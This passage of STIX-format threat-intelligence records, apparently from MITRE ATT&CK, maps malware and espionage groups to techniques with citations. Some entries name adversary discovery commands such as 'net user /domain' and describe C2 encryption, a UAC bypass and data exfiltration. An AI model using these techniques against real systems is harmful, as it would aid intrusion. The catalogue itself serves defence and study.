            "external_references": [
                {
                    "source_name": "Umbreon Trend Micro",
                    "description": "Fernando Merc\u00eas. (2016, September 5). Pok\u00e9mon-themed Umbreon Linux Rootkit Hits x86, ARM Systems. Retrieved March 5, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046"
                }
            ],
            "source_ref": "malware--3d8e547d-9456-4f32-a895-dc86134e282f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2",
            "type": "relationship",
            "modified": "2020-03-16T19:09:40.039Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--cfccba1b-5aa0-46ef-b668-d9f7e25b53ae",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MobileOrder](https://attack.mitre.org/software/S0079) communicates with its C2 server over TCP port 3728.(Citation: Scarlet Mimic Jan 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Scarlet Mimic Jan 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0"
        },
        {
            "id": "relationship--f02f0a58-a76b-4966-8717-8a9b40b07e81",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SNUGRIDE](https://attack.mitre.org/software/S0159) encrypts C2 traffic using AES with a static key.(Citation: FireEye APT10 April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT10 April 2017",
                    "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"
                }
            ],
            "source_ref": "malware--3240cbe4-c550-443b-aa76-cc2a7058b870",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-21T00:24:53.628Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--fa9a8640-75e5-458c-99c0-e5e85aa32a77",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
            "relationship_type": "uses",
            "target_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d",
            "external_references": [
                {
                    "source_name": "Symantec Dragonfly",
                    "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf"
                },
                {
                    "source_name": "Secureworks Karagany July 2019",
                    "url": "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector",
                    "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."
                }
            ],
            "description": "(Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)",
            "type": "relationship",
            "modified": "2020-08-13T15:49:32.782Z",
            "created": "2017-05-31T21:33:27.070Z"
        },
        {
            "id": "relationship--4923be5e-dd24-4289-adca-e9dbf545b9c2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used <code>sc query</code> on a victim to gather information about services.(Citation: Palo Alto OilRig May 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "source_name": "Palo Alto OilRig May 2016"
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
            "type": "relationship",
            "modified": "2019-09-04T22:55:41.129Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--61dd6d75-a95b-488d-9a1d-924563592df7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may collect user account information by running <code>net user /domain</code> or a series of other commands on a victim.(Citation: FireEye APT34 Dec 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT34 Dec 2017",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
                }
            ],
            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af",
            "type": "relationship",
            "modified": "2020-03-18T20:34:00.351Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--340d4ef7-816b-4758-994f-b913df78afd7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Elise](https://attack.mitre.org/software/S0081) executes <code>ipconfig /all</code> after initial communication is made to the remote server.(Citation: Lotus Blossom Jun 2015)(Citation: Accenture Dragonfish Jan 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html",
                    "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.",
                    "source_name": "Lotus Blossom Jun 2015"
                },
                {
                    "source_name": "Accenture Dragonfish Jan 2018",
                    "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf",
                    "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018."
                }
            ],
            "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2019-04-17T22:12:24.779Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--4ffd0780-b8ed-4b8f-b5b8-ff5b0afd4f1f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[JPIN](https://attack.mitre.org/software/S0201) can enumerate drives and their types. It can also change file permissions using cacls.exe.(Citation: Microsoft PLATINUM April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
                }
            ],
            "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-16T16:57:38.867Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--d04d6101-f6f6-42a2-8679-351956b75228",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWERSOURCE](https://attack.mitre.org/software/S0145) has been observed being used to download [TEXTMATE](https://attack.mitre.org/software/S0146) and the Cobalt Strike Beacon payload onto victims.(Citation: FireEye FIN7 March 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye FIN7 March 2017",
                    "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html"
                }
            ],
            "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-17T02:11:28.344Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--2b4a8be2-8403-43d4-addd-79c504e3dec8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Remsec](https://attack.mitre.org/software/S0125) is capable of deleting files on the victim. It also securely removes itself after collecting and exfiltrating data.(Citation: Symantec Remsec IOCs)(Citation: Kaspersky ProjectSauron Full Report)(Citation: Kaspersky ProjectSauron Technical Analysis)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Remsec IOCs",
                    "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf"
                },
                {
                    "source_name": "Kaspersky ProjectSauron Full Report",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"
                },
                {
                    "source_name": "Kaspersky ProjectSauron Technical Analysis",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"
                }
            ],
            "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-11T17:45:33.570Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a6150e37-2411-409f-82a0-e259d55d1166",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[T9000](https://attack.mitre.org/software/S0098) gathers and beacons the username of the logged in account during installation. It will also gather the username of running processes to determine if it is running as SYSTEM.(Citation: Palo Alto T9000 Feb 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto T9000 Feb 2016",
                    "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"
                }
            ],
            "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-03-30T03:07:37.793Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a8122755-90fe-4b68-8fa1-55ed7be90931",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973",
            "relationship_type": "uses",
            "target_ref": "malware--95047f03-4811-4300-922e-1ba937d53a61",
            "external_references": [
                {
                    "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf",
                    "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.",
                    "source_name": "Novetta-Axiom"
                }
            ],
            "description": "(Citation: Novetta-Axiom)",
            "type": "relationship",
            "modified": "2019-03-22T19:55:13.748Z",
            "created": "2017-05-31T21:33:27.032Z"
        },
        {
            "id": "relationship--537d027b-0559-4d1a-8f28-a918d3d23e63",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Elderwood](https://attack.mitre.org/groups/G0066) has delivered zero-day exploits and malware to victims via targeted emails containing malicious attachments.(Citation: Symantec Elderwood Sept 2012)(Citation: CSM Elderwood Sept 2012)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf",
                    "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.",
                    "source_name": "Symantec Elderwood Sept 2012"
                },
                {
                    "url": "https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China",
                    "description": "Clayton, M.. (2012, September 14). Stealing US business secrets: Experts ID two huge cyber 'gangs' in China. Retrieved February 15, 2018.",
                    "source_name": "CSM Elderwood Sept 2012"
                }
            ],
            "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "type": "relationship",
            "modified": "2021-01-06T19:32:29.099Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--fe8a320f-e5e5-4503-8c3a-5c21b628a61d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used <code>net use</code> to conduct internal discovery of systems. The group has also used quser.exe to identify existing RDP sessions on a victim.(Citation: SecureWorks BRONZE UNION June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-union",
                    "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.",
                    "source_name": "SecureWorks BRONZE UNION June 2017"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "type": "relationship",
            "modified": "2019-07-14T21:15:55.015Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--6a0f3ebb-c805-402f-bb2e-aac2f8d174fa",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Downdelph](https://attack.mitre.org/software/S0134) bypasses UAC to escalate privileges by using a custom \u201cRedirectEXE\u201d shim database.(Citation: ESET Sednit Part 3)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit Part 3",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"
                }
            ],
            "source_ref": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
            "type": "relationship",
            "modified": "2019-10-15T18:00:19.404Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--28f655e0-ac0b-41bc-baaf-9a9987469fe9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MobileOrder](https://attack.mitre.org/software/S0079) uses AES to encrypt C2 communications.(Citation: Scarlet Mimic Jan 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Scarlet Mimic Jan 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5"
        },
        {
            "id": "relationship--a0c8ed8f-8c17-4ab1-b403-f1cfd314d3da",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Remsec](https://attack.mitre.org/software/S0125) is capable of using ICMP, TCP, and UDP for C2.(Citation: Symantec Remsec IOCs)(Citation: Kaspersky ProjectSauron Full Report)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Remsec IOCs",
                    "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf"
                },
                {
                    "source_name": "Kaspersky ProjectSauron Full Report",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"
                }
            ],
            "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "type": "relationship",
            "modified": "2020-03-11T17:45:33.576Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.",
                    "url": "https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/",
                    "source_name": "Nccgroup Gh0st April 2018"
                },
                {
                    "source_name": "Gh0stRAT ATT March 2019",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant",
                    "description": "Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."
                }
            ],
            "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) can download files to the victim\u2019s machine.(Citation: Nccgroup Gh0st April 2018)(Citation: Gh0stRAT ATT March 2019)",
            "id": "relationship--33a382a9-ebb3-48d9-bb7e-394a27783668",
            "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2021-03-29T19:49:11.254Z",
            "created": "2019-01-29T14:51:06.825Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "CIRCL PlugX March 2013",
                    "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf",
                    "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."
                }
            ],
            "description": "[PlugX](https://attack.mitre.org/software/S0013) decompresses and decrypts itself using the Microsoft API call RtlDecompressBuffer.(Citation: CIRCL PlugX March 2013)",
            "id": "relationship--cb67b57d-2ab3-4971-9b8d-83768df36df0",
            "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2019-04-19T15:08:15.827Z",
            "created": "2019-01-29T18:17:59.152Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html",
                    "source_name": "Talos Agent Tesla Oct 2018"
                },
                {
                    "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.",
                    "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html",
                    "source_name": "Fortinet Agent Tesla April 2018"
                },
                {
                    "source_name": "Fortinet Agent Tesla June 2017",
                    "url": "https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html",
                    "description": "Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018."
                },
                {
                    "source_name": "Bitdefender Agent Tesla April 2020",
                    "url": "https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/",
                    "description": "Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can steal data from the victim\u2019s clipboard.(Citation: Talos Agent Tesla Oct 2018)(Citation: Fortinet Agent Tesla April 2018)(Citation: Fortinet Agent Tesla June 2017)(Citation: Bitdefender Agent Tesla April 2020)",
            "id": "relationship--06dded4b-f28c-45d3-8dc6-097a9a4a3cd6",
            "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f",
            "type": "relationship",
            "modified": "2020-05-20T13:38:06.936Z",
            "created": "2019-01-29T18:44:05.069Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/",
                    "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.",
                    "source_name": "PaloAlto UBoatRAT Nov 2017"
                }
            ],
            "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) has used a custom command and control protocol to communicate with C2. The string \u2018488\u2019 is placed at the top of the payload and encrypts the entre buffer with a static key using a simple XOR cipher.(Citation: PaloAlto UBoatRAT Nov 2017)",
            "id": "relationship--cae6319d-e6d4-4d59-ba65-09ac462ef51e",
            "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "type": "relationship",
            "modified": "2019-04-19T15:10:04.352Z",
            "created": "2019-01-29T19:09:26.704Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.melani.admin.ch/dam/melani/de/dokumente/2016/technical%20report%20ruag.pdf.download.pdf/Report_Ruag-Espionage-Case.pdf",
                    "description": "GovCERT. (2016, May 23). Technical Report about the Espionage Case at RUAG. Retrieved November 7, 2018.",
                    "source_name": "GovCERT Carbon May 2016"
                }
            ],
            "description": "[Carbon](https://attack.mitre.org/software/S0335) uses the <code>net group</code> command.(Citation: GovCERT Carbon May 2016)",
            "id": "relationship--3bda9db3-3532-429c-86a4-8ff3ee32f59f",
            "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce",
            "type": "relationship",
            "modified": "2021-04-25T15:46:06.509Z",
            "created": "2019-01-29T19:36:02.737Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                },
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf",
                    "source_name": "Kaspersky Turla Aug 2014"
                }
            ],
            "description": "[Epic](https://attack.mitre.org/software/S0091) uses the <code>net use</code>, <code>net session</code>, and <code>netstat</code> commands to gather information on network connections.(Citation: Kaspersky Turla)(Citation: Kaspersky Turla Aug 2014)",
            "id": "relationship--6cfd90ab-8e17-4b78-9bfb-7792b8f51143",
            "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "type": "relationship",
            "modified": "2019-07-26T16:10:42.686Z",
            "created": "2019-01-29T19:55:48.149Z"
        },
        {
            "id": "relationship--4ec9a523-e27f-4984-9bde-4af785e5e75a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Responses from the [Pisloader](https://attack.mitre.org/software/S0124) C2 server are base32-encoded.(Citation: Palo Alto DNS Requests)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto DNS Requests",
                    "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/"
                }
            ],
            "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "type": "relationship",
            "modified": "2020-03-20T18:24:23.303Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/",
                    "source_name": "Unit 42 Tropic Trooper Nov 2016"
                },
                {
                    "source_name": "TrendMicro Tropic Trooper May 2020",
